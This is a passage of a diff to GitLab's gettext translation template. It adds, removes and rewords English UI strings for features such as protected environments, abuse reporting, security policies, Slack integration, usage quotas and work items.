+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32299,6 +32866,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32518,6 +33097,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32593,9 +33175,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32767,9 +33346,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32920,10 +33496,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33055,6 +33631,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33679,6 +34258,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33691,6 +34288,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33727,6 +34327,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34459,6 +35062,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34726,9 +35332,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34786,9 +35389,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34825,6 +35425,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35785,7 +36412,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36160,7 +36787,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36367,6 +36994,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36391,9 +37024,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36409,6 +37039,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36418,12 +37051,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36616,9 +37273,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36997,6 +37651,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37018,6 +37681,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37297,7 +37963,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37360,10 +38026,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37378,6 +38044,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37447,9 +38116,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37669,9 +38335,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37699,6 +38362,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37729,9 +38395,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37750,9 +38413,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38533,6 +39193,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38749,9 +39412,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38878,9 +39538,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38911,6 +39568,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38938,10 +39601,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38953,22 +39616,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39466,6 +40123,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39661,15 +40324,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40159,18 +40822,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40387,6 +41068,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40405,7 +41089,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40426,9 +41110,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40918,15 +41599,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40957,6 +41629,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41227,9 +41914,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41485,6 +42169,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41635,6 +42322,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41839,6 +42529,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42187,6 +42880,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42289,21 +42985,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42526,6 +43228,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42601,9 +43306,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42808,7 +43510,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43252,6 +43954,12 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43468,7 +44176,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43765,24 +44473,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43888,15 +44584,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44068,6 +44761,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44110,6 +44806,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44290,6 +44989,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44329,6 +45031,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44398,6 +45103,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44560,15 +45268,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44599,15 +45301,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44665,24 +45361,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44710,9 +45394,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44731,15 +45412,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44896,6 +45571,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44953,6 +45631,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45127,9 +45811,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45196,10 +45877,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45367,10 +46048,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45562,6 +46240,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45574,9 +46255,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45646,6 +46324,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45742,6 +46423,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45775,6 +46459,9 @@ msgstr[2] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45787,6 +46474,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45811,9 +46501,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46546,10 +47233,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46999,9 +47686,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47089,6 +47788,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47098,7 +47800,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47131,7 +47833,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
